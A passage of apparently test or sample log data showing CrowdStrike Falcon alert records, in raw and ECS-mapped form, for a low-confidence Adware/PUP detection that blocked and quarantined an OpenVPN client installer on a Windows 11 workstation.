md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + { + "@timestamp": "2023-11-03T18:00:22.328Z", + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\